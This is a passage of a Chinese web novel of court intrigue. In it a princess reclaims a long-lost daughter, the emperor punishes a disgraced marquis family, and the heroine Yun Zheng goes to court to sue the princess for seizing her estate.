永安长公主拿在手里仔细打量,眼眶渐渐红了。 “对,就是这块,没想到有生之年,我还能见到这块金锁片。” 叶宜蓁小心翼翼的开口,“长公主,这块金锁片怎么了?” 永安长公主手指着她的手腕处,“你这里是不是有一块梅花状的胎记?” 叶宜蓁呆住了,“您怎么知道的?” 永安长公主再也忍不住,一把拉过她,飞快撩起衣袖,一个梅花胎记映入众人的眼帘。 众人惊疑不定,这是什么情况? 云筝眉头微蹙,“我有种很不好的预感。” 厉无恙神色平静,“引蛇出洞,终于冒头了。” 好像一切都在他的预料之中。 啥?云筝悚然一惊,瞬间瞪大眼睛盯着永安长公主。 另一边,永安长公主一把抱住叶宜蓁的身体,泪如泉涌。 “穗穗,我的孩子,我是你亲娘啊。” 所有人都惊呆了,叶宜蓁不是一个父母双亡的孤女吗? 叶宜蓁浑身僵硬,“这怎么可能?我有父母的,您一定是弄错了。” 永安长公主抱着不放,语气坚定,“不会弄错,你就是我的女儿。” 皇上神色有些复杂,“二皇姐,这事关系重大,还得仔细查证。” 永安长公主情绪很激动,“我怎么可能认不出自己的女儿?当年我生孩子时被人暗算,难产了,千辛万苦生下一个死婴,可,前不久才发现,我当年生下来的是一个健康的孩子!” “我的孩子被人掉包了。” “而这个孩子,就是叶宜蓁。” 现场一片哗然,叶宜蓁的身世居然这么离奇?! 第88章 管你是皇子,还是公主,不服就干 永安长公拉着叶宜蓁胳膊,动情的说道,“孩子,我真的是你娘,你那对父母是收养你的人。” 叶宜蓁眼泪刷的下来了,痛哭流涕,“娘,这些年我好苦,我被欺负的好惨啊。” 永安长公主一把抱住她,也哭了,“没事了,以后都是好日子,有娘在,谁都休想欺负你。” 母女相认,抱头痛哭,场面很是感人,有些百姓红了眼眶。 云筝凉凉的看着这一幕,早就知道叶宜蓁身世不一般,但没想到是永安长公主和镇南王的女儿。 她蹲在地上,小小声的问道,“镇南王府还有人吗?” 厉无恙淡淡的道,“明面上没有了,暗地里不好说。” 云筝想到他所说的黑衣人,心里一动,“秦侩还有几个好友和死忠呢,镇南王府自然也有亲信心腹。” “好巧啊,镇南王姓叶,收留叶宜蓁的人家也姓叶,无巧不成书。” 厉无恙瞥了她一眼,这脑袋瓜转的好快,“就不怕叶氏翻身后打击报复吗?” 云筝笑眯眯的摇头,“怕啥?我有你呀。” 他跟永安长公主没有什么姐弟感情,她可是有大用的,嗯,就是这么自信。 她话里的信赖让厉无恙心中慰帖,嘴角轻轻扬起。 而,平西侯府诸人欣喜若狂,有救了,天无绝人之路,哈哈哈。 叶宜蓁可是平西侯府的儿媳妇! 永安长公主哭够了,抹了抹眼泪,郑重其事的冲皇上行了一礼,“皇上,我此生只有这么一个女儿,还请您开恩赦免她。” 皇上神色淡淡的的,“她证据确凿。” 叶宜蓁张嘴要否认,却被永安长公主一把按住。 “她年幼无知,没有父母管教,又被有心之人挑唆,才做错事情,请皇上念在我们姐弟的情份上,饶了她这一次,她毕竟是您的亲外甥女啊,请法外开恩。” 她扑通一声跪了下来,“皇上,求您了。” 皇上看着神色各异的文武百官,又看了看默默流泪的百姓,无声的叹了一口气。 “罢了,就看在二皇姐的份上,饶了她这一回。” 永安长公主大喜过望,“谢皇上,宜蓁,还不快给舅舅磕头。” 叶宜蓁用力磕了几个响头,额头都磕青了,“谢皇帝舅舅开恩。” 皇上面无表情的训斥,“以后安分守己,不要再闹出丑事,否则,朕也保不了你。” 叶宜蓁身体一僵,“是,皇帝舅舅。” 皇上挥了挥手,“站到一边去,朕要处理正事了。” 叶宜蓁麻溜的跑到一边,心情很复杂,这跟她想象的不一样。 皇上对她这个外甥女并没有多少爱护之心,说好的爱屋及乌呢? 云筝嘴角轻轻上翘,她不会以为皇上会像普通的舅舅爱护她吧?那可是冷血无情的帝王。 或许有一点点真情,但不多,不会浪费在一个没有相处过的外甥女身上。 皇上居高临下的看着狼狈的一家子,“平西侯,你还有什么可说的?” 平西侯心中暗叫不好,“皇上,请看在……叶氏的份上,饶了我们吧。” 江闻舟急急的叫道,“蓁蓁,你快帮我们求求情,快啊。” 叶宜蓁咬了咬牙,轻声说道,“皇帝舅舅,这真的是一个误会……” 皇上神色莫名的看过来,“你确定要帮平西侯府求情吗?” “我……”叶宜蓁面露为难之色。 永安长公主清咳一声,“皇上……” 皇上及时打断她,“二皇姐,你先别说话。” “叶宜蓁,你继续。” 叶宜蓁在心中权衡一番后,行了一礼。 “皇上,不管如何,我都是平西侯府的长媳,是江闻舟的妻子,他们还对我有养育之恩,于情于理,我都希望他们好好的,还请网往一面。” 她尽力展现温婉善良的一面,也不能让平西侯府恨上了她,疯狂反扑,将她拉下水。 皇上沉吟半响,“朕给你两个选择,一是跟他们同生共死,二是,解除婚约,跟江家一刀两断,你的身份有变,祖上三代都不对,婚书就不作数。” 叶宜蓁头皮一阵发麻,这是对她的考验吗? 她该怎么选? 她看向长公主,长公主冲她微微摇头。 她又看向平西侯府的人,他们都一脸的哀求。 叶宜蓁楚楚可怜的求道,“皇帝舅舅,您就不能赦免他们吗?” 皇上神色肃穆,“国有国法,家有家规,犯错就要受罚,这就是规矩。” “也给所有人一个警醒,敢对皇家出手,都没有好下场。” 他一脸的不耐烦,“选吧,朕数到三,三,二……” 他报数太快了,叶宜蓁来不及细想,急急的说道,“我选二。” 云筝眼中闪过一丝笑意,她选错了。 不对,应该说,这是一个陷阱,不管怎么选都不对。 皇上自己可以无情,但绝不会喜欢一个薄情的外甥女。 同生共死?皇上那么嫌恶江闻舟,你还情深意重,这不是扎他的眼吗? 江闻舟惊怒交加,“蓁蓁。” 看着他含恨的眼睛,叶宜蓁心里一惊,立马补救,“我只有离开了,才有能力帮助侯府,帮着打点。” 江闻舟想想也有道理,心气稍平。 平西侯深深的看着她,心情复杂难言。 皇上淡淡一笑,“既然做出了选择,那朕就特许你解除婚……” 一道清脆的声音猛的响起,“皇上,我不同意。” 是云筝,她站了出来。她来了,来当一根搅屎棍! 有她在,叶宜蓁想要脱身,那是白日做梦。 皇上眉头微皱,“锦云,你凑什么热闹?” 云筝板着小脸,“要么,一起解除婚约,要么,她就作为同伙,陪平西侯府共沉沦。” 管你是皇子,还是公主,不服就干。 叶宜蓁一脸的傲气,大声喝斥,“云筝,这没有你说话的地方。” 云筝凉凉的笑道,“哟,抖起来了,好一个小人得志,你不会以为曾经做过的事一笔勾销了吧?” “皇上,您这么轻易放过她,就不怕她再来一次?筹划围攻圣驾,她有经验呀。” 这话杀伤力太大,皇上和文武百官当场变了脸色。 “云筝。”叶宜蓁的脸吓白了。 云筝大声喊道,“她急了,心虚了。” “皇上,我为国家做过贡献,为国库和边关将士出过力,而叶宜蓁寸功未立,还参与了筹划围攻圣驾,您若只让她解除婚约,我会寒心的,大家都会寒心的。” “以后大家都学起来,只要围攻圣驾就能得到皇上的偏爱呢。” 众人:…… 皇上:…… 这是人话吗?! 第89章 臣愿用丹书铁券换 一道清冷的声音响起,“皇上,话糙理不糙,莫让有功之人寒心,也莫让野心家跃跃欲试。” 是厉无恙,他发声了,也代表了很大一部分人的态度。 有功就赏,有错就罚,赏罚分明,才能让人心服口服。 叶宜蓁做了那样的错事,轻轻一笔带过去,谁服气? 皇上也知道这个道理,但心里气不过,他不要面子的吗? 他心思转了几转,“锦云,你若再立一功,朕就许你跟江闻舟解除婚约,从此男婚女嫁,各不相关。” 云筝早知道皇上是最小气的人,当初他是怎么恶心平西侯府的事,还历历在目。 “我检举江闻舟,算立功吗?” “不算。”皇上没好气的瞪了她一眼,“你的功绩要得到六部尚书一致承认,才算。” 云筝抿了抿嘴,说难,有点难,六部尚书有顽固分子,有保守派,也有不喜她的人。 但,也不算很难,钱能使鬼推磨,这世上没有钱解决不了的事情。 如果,还不行,那,加钱! “行,就这么说定了。” 叶宜蓁不禁急了,“皇帝舅舅,我呢?” 皇上淡淡扫了她一眼,“你也一样。” 叶宜蓁脸色很难看,“我也要立功,得到六部尚书一致承认?这怎么可能完成?” 皇上反问了一句,“锦云能行,你就不行?你哪里比她差?是比她蠢吗?还是能力不如她?” 这可把叶宜蓁打击的够呛,她最恨被云筝比下去了。 云筝嘴角疯狂上扬,你搅和我的好事,我也搅和你的好事,很公平,对吧? 叶宜蓁气的吐血,却无可奈何。 云筝抬起头,却撞进一双冰冷的眼睛,是永安长公主。 她冲永安长公主微微一笑,从容而又淡定。 她连三皇子都敢骂,一个过气的长公主又有什么可怕的? 在皇上心里,权利第一,利益第二,只要你有用,一切都好说。 永安长公主脸色沉了下来,这是挑衅,好大的胆子,不知死活。 另一边,皇上看向跪了一地的平西侯诸人。 他转头又看向三司主事者,“三位爱卿,这案子按律该怎么判?” 刑部尚书拱了拱手,“江闻舟虽然事先不知圣驾行踪,但围攻圣驾是事实,依律当斩,诛其三族。” 平西侯府诸人吓坏了,“皇上,请念在先祖的份上,网开一面,饶了我们吧。” 皇上沉吟半响,“看在先祖的份上,朕不杀江家人。” 他直接做出决断,“那,就将江家全族流放至宁古塔,遇赦不赦。” “特许,世子江闻云留在京中,等待继承爵位。” 这一操骚操作让文武百官懵逼了,侯府所有人流放,却留了世子在京,等平西侯一去世就继承爵位。 就问你,有没有违背祖宗遗训吧? 平西侯诸人瘫软在地,惊恐万状,宁古塔苦寒之地又有瘴气,几乎没有人能活着生还。 他们养尊处优,挨不过流放之苦的。 平西侯看着皇上冷漠的脸,闭了闭眼,深吸一口气,再睁眼时,下定了某种决心。 “皇上,臣愿用丹书铁券换全家老小的平安。” 这话一出,所有人的目光看了过来,丹书铁券!无数人梦寐以求的免死券! 叶宜蓁眼神微闪,永安长公主目光凝重。 皇上嘴角微微上扬,总算逼出来了, 这丹书铁券不能强取豪夺,只有平西侯自愿交出来,才不算违誓。 “东西呢?” 平西侯安慰自己,只要留得青山在,不怕没柴烧,“藏在江家祖坟。” 难怪翻遍各处都找不到,谁能想到会藏在那里。 皇上亲自点了身边最信任的大太监去取丹书铁券。 江家祖坟就在京郊,策马奔腾赶过去,很快就取来了。 大太监双手奉上,“皇上,您看看。” 大家都盯着那密封的盒子,情绪激动。 皇上使了个眼色,“打开。” 大太监立马送到平西侯手里,“侯爷,请。”鬼知道有没有暗器? 平西侯认命的亲自拆开这个盒子,捣鼓了一下,盒子开了,一块金色的牌子躺在里面,似铁非铁,众人的眼神一下子变的炙热。 平西侯取出丹书铁券,心在滴血。 这是平西侯府世代相传的保命符,却断在了他这一代。 子孙不孝啊。 他颤抖着双手,将丹书铁券送到皇上面前。 皇上接过来看了两眼,一入手,熟悉的质感让他扬了扬眉,跟宫中秘藏的丹书铁券一模一样。 开国时,一共制了三块丹书铁券,一块赐给了平西侯府,一块赐给了军师,军师无后,去世后收了回来。 另一块……他眼神微黯。 “太祖和第一代平西侯约定,丹书铁券保江家一次,朕按照约定,特赦免江家全族。” “但,罪魁祸首江闻舟死罪可免,活罪难逃。” 围攻圣驾的罪行,总要有个人承担罪责。 “就去太仆寺的马厩当个马倌吧。” 大家沉默了,什么马倌?分明是马奴,整天跟马粪打交道,又脏又臭,还被人呼来喝去。 堂堂侯门之子沦落成低贱的马奴,这简直是生不如死,奇耻大辱啊。 可,江闻舟还得恭恭敬敬谢恩,不敢露出半点怨恨。 公审结束,江家人都离开了,百姓们纷纷散去,文武百官也散了。 云筝见状,也不愿多待,“皇上,容臣女先行告退。” “去吧。” 她刚准备离开,叶宜蓁忽然直直的走过来,拦住她的去路。 她危险的眯起眼睛,怎么?想打架? 谁知,叶宜蓁兴高采烈的走向厉无恙。 “九千岁,没想到您也是我的舅舅,我好高兴呀,就不怪您屡次帮着外人欺负我的事啦。” 这是宣告主权,这是她的亲舅舅,云筝算什么东西?区区一个外人而已。 云筝没有九千岁庇护,连个屁都不是。 永安长公主微微蹙眉,很是不高兴,“九皇弟,你欺负宜蓁了?” 厉无恙把玩着玉扳指,神色淡漠如雪。 叶宜蓁柔柔的说道,“娘,不能怪舅舅,他是被云筝蒙蔽了,才会对我有所误会。” 她将矛头对准了云筝,摆明了要对付她。 果然,永安长公主大发雷霆,“来人,给我掌嘴。” 云筝立马躲到厉无恙的身后,探出半张俏脸,嘻嘻,来打呀。 永安长公主更生气了,“把她抓出来。” 她的侍卫刚举起胳膊,就听到一声清脆的巴掌声,“啪。” 侍卫呆住了,他还没有打呀。 叶宜蓁委屈的哭喊声响起,“舅舅,您又让手下打我,为什么?” 她以为这已经很过分了,但让她更羞愤的事还在后面。 九千岁的疯狂护短即将上演…… 第90章 九皇叔疯狂护短,叶宜蓁气疯了 叶宜蓁的脸肿了,鲜红的五指印浮现,满眼的不敢置信。 之前对她没有好脸色,她能理解,毕竟,人家是高高在上,手握无数人生死大权的九千岁。 但,现在不一样了,他们是至亲! 他是她的亲舅舅,他应该无条件的维护她,爱护她! 厉无恙冷冷的喝斥,“什么下贱的东西,也配叫我舅舅?你伙同江闻舟围攻圣驾,真以为能一笔抹去?” “皇兄,您大度,能宽恕一个居心叵测的贱人,我可不会原谅一个试图伤害您的人。一次不忠,百次不容。” 皇上眉眼舒展,虽然皇弟态度不好,但,他维护的是自己啊。 还是皇弟对他最好,最忠心,不像半路认回来的外甥女,心机太重。 叶宜蓁委屈的红了眼眶,“那是误会……” 厉无恙一脸的不耐烦,“你这点手段骗骗江闻舟那种蠢货够用,但在本王面前别耍什么手段,你那点见不得光的小心思本王一清二楚。” 叶宜蓁的眼泪刷的下来了,委屈的扑进永安长公主的怀里,“娘。” 永安长公主心疼坏了,“九皇弟,你怎么这么对宜蓁?我知道不能怪你,这全是云筝挑唆的,我把这一切都记在云筝的头上。” 厉无恙轻笑一声,满满的嘲讽,“二皇姐,欺软怕硬算什么,有本事找本王单挑,你敢吗?” 永安长公主脸色铁青,太不给她这个皇姐面子了,但,她不敢跟他硬扛。 她很清楚,厉无恙是皇上亲手养大的孩子,在皇上心中的地位是特殊的。 论圣眷,她远远不及厉无恙。 最关键的是,叶宜蓁被抓住了把柄,以皇上的小心眼,他是会记一辈子的。 “皇上,您把九皇弟惯成什么样了,还是好好管管吧。” 厉无恙轻敲轮椅的把手,一下又一下,“我亲娘还没有死呢,怎么也轮不到二皇姐管教我。” “二皇姐有这个空,不如好好管教你这个上不了台面,小娘养的女儿吧。” 云筝惊呆了,没想到九千岁私底下的攻击力这么强,这么毒舌。 皇上却很平静,好像这是习以为常的事。 叶宜蓁气的浑身发抖,强烈的屈辱在心底蔓延,“舅舅,你就算不喜欢我,也不能为了一个外人伤害我啊,我们才是血脉相连的亲人。” 厉无恙冷着一张脸,“谁会喜欢一个成了亲,还对本王投怀送抱,蓄意勾引本王的外甥女?别叫我舅舅,我嫌恶心。” 在场的人都惊呆了,不敢置信,啥?居然还有这样的隐情? 皇上脸色瞬间铁青,亲外甥女勾引舅舅那场面不敢想象。 就算事先不知两人的血缘关系,也太膈应人了。 难怪有洁癖的皇弟这么嫌恶,这么不给面子,他最讨厌水性杨花的女人。 他就说嘛,自家皇弟是最懂事的,怎么可能无缘无故的发脾气。 叶宜蓁如被雷劈中,脑袋嗡嗡作响,之前的回忆迅速浮上心头,是那次被抓去明镜司…… 永安长公主脸色发白,“这不可能!” 云筝凉凉的补刀,“王爷,人家好歹是女子,还是有夫之妇,您就为她保留一点颜面吧。” “我想,那次她不是故意的,就是身娇体弱,没站稳不小心摔进你怀里。” “最后一刻你也避开了,别再耿耿于怀啦 。” 她不说还好,说了,更坐实了对叶宜蓁的指控。 叶宜蓁急出一身热汗,“假的,皇帝舅舅……” 她不能失去皇帝舅舅的眷顾和庇护! 皇上满眼的嫌恶,啥玩意?“以后别叫朕舅舅,丢人现眼。” 他儿女成群,兄弟姐妹更多,一个半路冒出来的外甥女能有什么感情? 她犯了皇上的大忌,一是围攻圣驾的同伙,二是勾引九千岁,每一件都踩在皇上的底线。 叶宜蓁又气又害怕,极力解释道,“我当时是受了惊吓,是真的吓坏了,我身边还有夫君,我怎么可能当着他的面故意勾引王爷?” 云筝笑眯眯的点头,“对对对,你说的对极了,你夫君也体弱,离你那么近都没有扑向他,反而是坐轮椅的王爷离那么远,你还能精准的摔进他怀里。” 精准两字,用的太妙了。 皇上对叶宜蓁仅有的一点怜悯消失殆尽了,一个被窝睡不出两种人,江闻舟是什么货色,她就是什么货色。 厉无恙力证自己的清白,“勾引本王的女人见多了,本王提前预判了她轻浮举止,提前一步避开了。” 叶宜蓁眼泪哗啦啦的往下流,哭的快要晕过去了,“我没有,皇上,您要信我,他们俩联手陷害我。” 永安长公主闭了闭眼,她犯了一个致命的错误,不该扯上厉无恙的。 皇上脸色一沉,她配吗? 厉无恙表情不屑到了极点,“你算什么东西,也配本王花心思陷害。” 骄傲,自负,冷漠,他一直是这样的。 皇上司空见惯了,“行了,你以后没事别往睿亲王面前凑,瓜田李下,要懂得避嫌。” 厉无恙来了一句,“皇兄,您也要小心点,免得中了招,毁了一世清名。” 绝杀!这话的杀伤力太大了。 直接堵死了叶宜蓁跟皇上培养感情的后路。 就算至亲,也是需要靠多接触来维系感情的。 那些皇子公主抓住一切机会在皇上面前露脸,就是为了刷存在感,培养感情。 永安长公主倒抽一口冷气,太狠了,不念半点亲情,完全是当成政仇整啊。 皇上心里一惊,看叶宜蓁的眼神都变了,不会也想对他投怀送抱吧。 想想那场景,他整个人都不舒服了,也瞬间理解了厉无恙的反感,恶心。 “以后没事别出现在朕面前。” 他可是要留名青史的皇帝,绝不能留下半点污名。 “啊啊啊。”叶宜蓁彻底破防了,气疯了。 贱人,全是贱人! 云筝脸上的笑容止不住,叶宜蓁,纵然你有滔天的气运又如何,照样压着你打! 九千岁好厉害!好棒!鼓掌! 她眼中的钦佩快要溢出来了,厉无恙见状,嘴角轻轻上扬。 “二皇姐,你确定这是你和镇南王的女儿吗?水性杨花,寡廉鲜耻这一点不知是随了谁?” 永安长公主猛的一惊,心跳骤然加快…… 第91章 最后一块丹书铁券到底在哪里 深夜,皇上把玩着两块一模一样的丹书铁券,神色莫名。 “大伴,你说,最后一块丹书铁券到底在哪里?” 大太监侍立一边,大气不敢出,“老奴不清楚。” 皇上也不是真的想要他的答案,“镇南王的女儿叶宜蓁一出生就流落民间,镇南王一去世丹书铁券也随之消失不见,这一切太巧了,当年镇南王府究竟发生了什么事?” 没错,另一块丹书铁券赐给了镇南王府,但,如今无影无踪,成了他的一块心病。 大太监额头的冷汗滚落下来,却不敢擦拭。 皇上想起皇姐那微妙的表情,喃喃自语,“二皇姐,你在其中又扮演什么角色?丹书铁券真的没在你手里?” 大太监心里一哆嗦,差点吓晕过去,却不敢流露出半点异状。 皇家哪有什么亲情可言,皇权之下,皆为蝼蚁。 皇上拿着丹书铁券放在灯光下反复查看,没有什么异状,不禁蹙眉,难道真要收集齐三块丹书铁券,才能勘测出那个惊天秘密吗? 不知过了多久,大太监小心翼翼的提醒道,“皇上,时辰不早了,您该歇息了。” 皇上摩挲丹书铁券的手一顿,看了一眼沙漏,是很晚了。 他将丹书铁券收起,走到墙壁前,将一幅画移到一边,轻轻按下去,一个密室出现了。 他走了进去,桌上放着一个小型的沙盘,做的精妙绝伦,山川河流栩栩如生。 他将赐给军师的那块丹书铁券放在标注壹的位置,另一块放在标注叁的位置,只有贰的位置空着,缺的正是镇南王府那块。 “就差一块了。” 他眼中闪过一丝志在必得。 平西侯府 全家人走进侯府,就被眼前的一幕惊到了。 如蝗虫过境,空空荡荡的,只留下一个空壳子,桌椅摆件都没有了。 看着连花草树木都被挖空的院子,大家沉默了。 这颇有几分大厦将倾的末世凄凉。 江家人都愁眉苦脸的,这怎么住人? 江闻月捂着饿扁的肚子,“娘,我好饿,想吃饭。” 这一路奔波,他们就没有好好吃过饭,每天就给几个干巴巴的馒头,难吃死了。 侯夫人也饿的不行,肚子咕咕叫,但,她看着空荡荡的厨房,愁眉苦脸。 “夫君,没银子买米,晚上吃什么?” 平西侯脸色忽青忽白,良久之后,他长长叹了一口气,“我去借一笔钱回来周转。” 之前,他为了脸面,强撑着一口气,维持着侯府该有的排场,花费极多,入不敷出。 如今,平西侯府已经落败, 打肿了脸充胖子就没必要。 侯夫人暗暗松了一口气,“夫君,您总算想通,肯面对现实了。” 平西侯苦笑,他辛苦维系了半生的体面,在短短时间内化为了乌有。 江闻云看着这一片惨状,又想起之前的花团锦簇,锦衣玉食,不禁气坏了。 这可是他要继承的侯府啊,一个空壳子…… “都怪云筝,她为什么不能老实的上交嫁妆?为什么不能乖乖为夫家奉献一切?” 江闻月脸色奇差,她还能顺利嫁入高门吗? “她回娘家吃香的喝辣的,还被封为郡主,却害的我们这么落魄,我绝不会放过她的。” 身处绝境,心中有数不尽的怨气,总要有一个发泄对象。 平西侯心知肚明,也没有说什么,恨一个外人,总比自家人相互怨恨强吧。 傍晚,江闻舟拖着疲惫的身体回到府中,大家的视线落在他身后。 侯夫人脸色一变,“叶宜蓁人呢?怎么没回来?她是我们江家的儿媳妇,怎么能在外面过夜?” 江闻舟面如沉水,心情沉重而又压抑,明日他就要当低贱的马奴。 他好希望时间停留在这一刻,明日永远不会到来。 “她跟永安长公主回去了,她们刚相认,自然有说不完的话。” 他眼中闪过一丝狠辣,“父亲,母亲,你们放心吧,蓁蓁对我情深意重,不管发生什么事,她都不会离开我的。” 他毁容了,没有了以前的意气风发,整个人变的阴郁可怕,让人心生寒意。 侯夫人心中不抱希望,叹了一口气。 江闻舟郑重其事的开口,“父亲,我一定会重振家业,让平西侯府又一次站在权力的巅峰。” 平西侯眼中闪过一丝异光,“你跟我去书房。” 见父兄往书房走去,江闻云急急的追了上去,“父亲,我也去。” 平西侯头也不回,“你留下照顾你娘和弟弟妹妹。” 江闻云心中不忿,如今他才是世子,是平西侯府的继承人,父亲眼里怎么还只有兄长? 有什么是他不能听的? 云府,云筝一搬回自己的院子,看着保持原样的卧室,整个人都放松下来。 还是这里最舒服,终于能睡个安心觉。 又是新的一天,云筝梳洗完,神清气爽的站在院子里。 “程师傅,我想学些女子防身之术。” 紫烟的武功很高,但,她学的是杀人的武功,不适合云筝学。 而,程师傅是云筝的武师傅,专门教她骑术和射击,也就是君子六艺中的射和?御。 这两样是生存技能,她从小就开始学,但跟武功是两回事。 程师傅很不理解,“大小姐,您金尊玉贵,那么多人保护您,何必自己吃那个苦?学武太辛苦了。” 云筝坚持已见,“我想学。” 上次遇险,让她意识到自己太弱了,如今搬回家里条件允许了,学几招防身之术,能撑几个回合,等到别人救援就行。 程师傅有些无奈,“那,每天蹲半个时辰的马步,半个时辰的跑步,挥剑一千下。”这强度应该能吓退她吧。 “好。” 程师傅本以为她是一时心血来潮,坚持不了多久,但没想到,她一丝不苟的照办,每日雷打不动的坚持、 不光如此,她还让人在院中摆了一个箭靶架,天天练箭。 很辛苦,手都磨破了,但心是前所未有的踏实。 只有学到手的本事,才是真正属于自己的。 靠山山倒,靠人人倒,只有靠自己,才能屹立不倒。 永远不要将希望寄托在别人身上。 她跑完步梳洗一下,赶往花厅陪父母一起吃早餐。 一家人说说笑笑,其乐融融。 “爹娘,等会我们去看看新屋修的怎么样了。” 云筝从户部要到了那一座前朝公主府邸,但需要修整,已经派大管家带人过去修葺房屋。 云母也想去看看,“好。” 就在此时,大管家连滚带爬冲进来,“不好了,出事了。” 大家吓了一跳,云父的心提了起来,“怎么了?” 大管家神色惊恐万分,“新屋被人强行占了!” 第92章 我,状告永安长公主 这也太离谱了,云筝眉头一皱,心思飞转。“爹娘,我过去一趟。” “我也去。”云家夫妻不约而同的出声。 一家人匆匆赶往新屋,一路上,都在议论是谁这么不要脸。 云筝心中猜到了几分,但没有说破。 新屋距离皇宫不远,可谓是寸土寸金的好地段,占了半条街,高高的围墙隔绝了视线。 这地段虽好,但,公主府早就荒废,杂草丛生,多处房屋破败。 公主府规格高,占地大,若要维修,需要大笔的钱财。 还不如再造一座新宅院呢。 当然,前朝公主府的主子横死,有人嫌风水不好,不愿入手,各种原因之下,这座公主府就一直空置着。 所以,她说要这屋子,户部立马给她了。 她拿到手后,就请最有名的建筑匠师家族雷家重新规划,花重金请了一批工部匠人修葺。 她在这房子上花了很大的心血和金钱。 马车徐徐在大门口停下来,云筝撩起窗帘看出,大门是簇新的三间,门钉用九行五列共45个,这是郡主府的规格。 若亲王和公主府,是五间大门,门钉九行七列共63个。 她抬头看向牌匾,好家伙,本来是锦云郡主府,已经改成了永安长公主府。 她不禁气笑,身为长公主居然这么不要脸,堂而皇之的抢别人的东西。 “爹娘,你们就坐在马车内,不要下来,我来处理。” 她跳下马车,带着侍卫们大摇大摆的走过去。 大门口中守着几个精壮的家丁,见到他们过来,立马大声喝道,“这是永安长公主府第,闲人莫入。” 云筝神色一冷,“我是锦云郡主,这是我的房子,你们马上离开。” 家丁们依旧态度强横,一口一声奉永安长公主之命。 云筝懒的跟这些下人啰嗦,一挥手,侍卫们挥舞着武器上前。 就在此时,一道轻笑声响起,“哟,我当是谁呀,原来我的好弟妹啊。” 是叶宜蓁,她一身锦衣,浑身珠翠,侍女嬷嬷环绕,好一副名门贵女的排场。 就是,气色不大好,娇软无力的搭着侍女的手,走几步就要大喘气。 云筝早就料到了,打量了几眼,“你这寡淡的长相撑不起锦衣华服,珠宝首饰更像是借来的,素面朝天,白衣飘飘更适合你。” 她说的是实话,但,把叶宜蓁刺激到了。 “这地方是我的,你赶紧滚。” 云筝当场翻脸了,“你说是就是?你算什么东西?” 叶宜蓁跟长公主相认后,就有了底气,气焰很是嚣张。 “皇上把这座宅子赐给我娘了,我娘就我这么一个女儿,她的东西就是我的。” 云筝微微蹙眉,皇上老糊涂了?不是吧? 叶宜蓁只当她怕了,心中别提有多得意,总算扳回一城。 “来人,把他们轰走。” 家丁们纷纷冲向云筝,李嬷嬷大声喝道,“以下犯上,这是要造反吗?锦云郡主在此,还不快行礼?” 她是宫里出来的,身着宫中嬷嬷服,气势十足,还挺能唬人。 家丁们不约而同的收手,迟疑了一下。 叶宜蓁气极败坏的大叫,“不许给她行礼。” 李嬷嬷看向了她,眉头紧皱,还是这么上不了台面。 “还有你,叶氏,懂不懂规矩?皇后娘娘罚你抄了那么多遍女戒,你是一点都没学到。” 叶宜蓁早就积怨已深,“李嬷嬷,你怎么敢跟我这么说话?我可是皇上的亲外甥女。” 她只当没人知道皇上对她不怎么待见,却不知宫人消息最灵通,宫中私底下早就传遍了。 李嬷嬷哪会怕她,“你有爵位吗?有品级吗?什么都没有的白身,哪来的勇气跟我家郡主这么说话?” 这话如一道重重的巴掌打在叶宜蓁脸上,又羞又气,是,她什么都没有! “三表哥,你快出来呀,有人欺负我,你快帮我出头。” 门后,一道身影走出来,正是三皇子。 叶宜蓁立马告状,“三表哥,就是她欺负我。” 云筝打量了他两眼,三皇子太擅长钻营了,哪哪都有他。 三皇子面有为难之色,期期艾艾的开口,“云筝,你就给宜蓁道个歉,她也不容易,怪可怜的,你就别为难她了。” 这话不说还好,一说,把两人都得罪了。 叶宜蓁也觉得自己可怜,但来自敌人的怜悯,她受不了。 “三表哥,你为什么对她这么客气?让你的手下揍她啊。” 三皇子皱了皱眉头,这表妹确实不讨喜,但她背后站着永安长公主,她在父皇面前说得上话。 她在宗室的地位也很高,得想办法拉拢。 只是,云筝性子强硬,非常不好惹啊。 他两边都不想得罪,“冤家宜解不宜结,不如握手言和吧。” “三表哥,你太让我失望了。” 叶宜蓁气坏了,“来人,谁打云筝一巴掌,赏一个金元宝。” 不等家丁们反应过来,云筝挥起胳膊,重重挥向叶宜蓁,“啪。” 随后,她飞快退到侍卫身边。 叶宜蓁不敢置信捂着滚烫的脸,“云筝,你敢打我?” 在这种弱势情况下,她居然还敢? 云筝呵呵一笑,“打的就是你这种上不了台面的贱人。” 叶宜蓁气的浑身直哆嗦,好啊,一个两人都这么羞辱她! “给我打,打死不论。” 两边打成一片,互不相让。 三皇子默默朝后退,退出战争圈子,才大声叫道,“别打了,都别打了。” 云筝故意恶心他,“三皇子,你愿意给叶氏当狗,是你的自由,可不能强迫别人也跟你一样当狗呀。” 三皇子:…… 他给叶氏当狗?这是天底下最恶毒的话! 妈蛋,不干了! 就在众人打破脑袋时,一道清喝声猛的响起,“统统住手。” 是永安长公主带着人赶过来了。 大家纷纷行礼,“见过长公主。” 永安长公主看着那个桀骜不驯的红衣少女,眼中闪过一丝浓烈的厌恶,“云筝,你跑来我家闹事,该当何罪?” 云筝挑了挑眉,“你的家?” 永安长公主高贵冷艳状,“自然是我的家,对了,还要谢你帮本宫修葺房子,这是赏钱,赏你了。” 她随手扔出一个铜板,重重砸在地上,极尽侮辱之能事。 气氛一下子凝固,大有暴风雨欲来之势。 三皇子额头渗出冷汗,脑袋嗡嗡作响,要血拼了!完了!要出大事了! 谁知,云筝忽然弯下腰捡起那三个铜板,抬眸深深的看了永安长公主一眼。 随后,她扭头就走。 大家都愣住了,就这么走了?不符合她的性格啊。 永安长公主眼中闪过一丝失望。 叶宜蓁却兴高兴烈,“云筝,也不过如此嘛。” 云筝上了马车,云家父母看着面无表情的女儿,想安慰,却不知该从何安慰。 云筝忽然抬头,冲他们微微一笑,吩咐下去。 “去,大理寺。” 大理寺门前,放着一面大鼓,这就是鸣冤鼓,百姓无处申冤时,就来这里击鼓鸣冤。 一旦鼓声响起,不管多难的案子,都要给一个答复。 衙役在大门口值班,就在此时,就见一辆马车停下来。 “咦,这不是锦云郡主吗?” “对,是她。” 大家都以为她是来找大理寺卿的,谁知,她径直走向大鼓起,拿起棒槌重重敲下去。 “咚咚咚。” 所有人都变了脸色。 大理寺卿正惬意的喝着茶,猛的听到鼓声,顿时坐直身体,飞奔跑向外面。 外面已经围满了人,里三层外三层。 大理寺卿一眼就看到了云筝,头皮发麻,又是她! “锦云郡主,您有什么事就递一份诉状,何必敲响鸣冤鼓?” 云筝就站在鸣冤鼓前,朗声道,“大人,我状告永安长公主侵占我的府邸,请大人为我讨回一个公道。” 大理寺卿眼前一黑,小祖宗,这是要将天捅破啊。 第93章 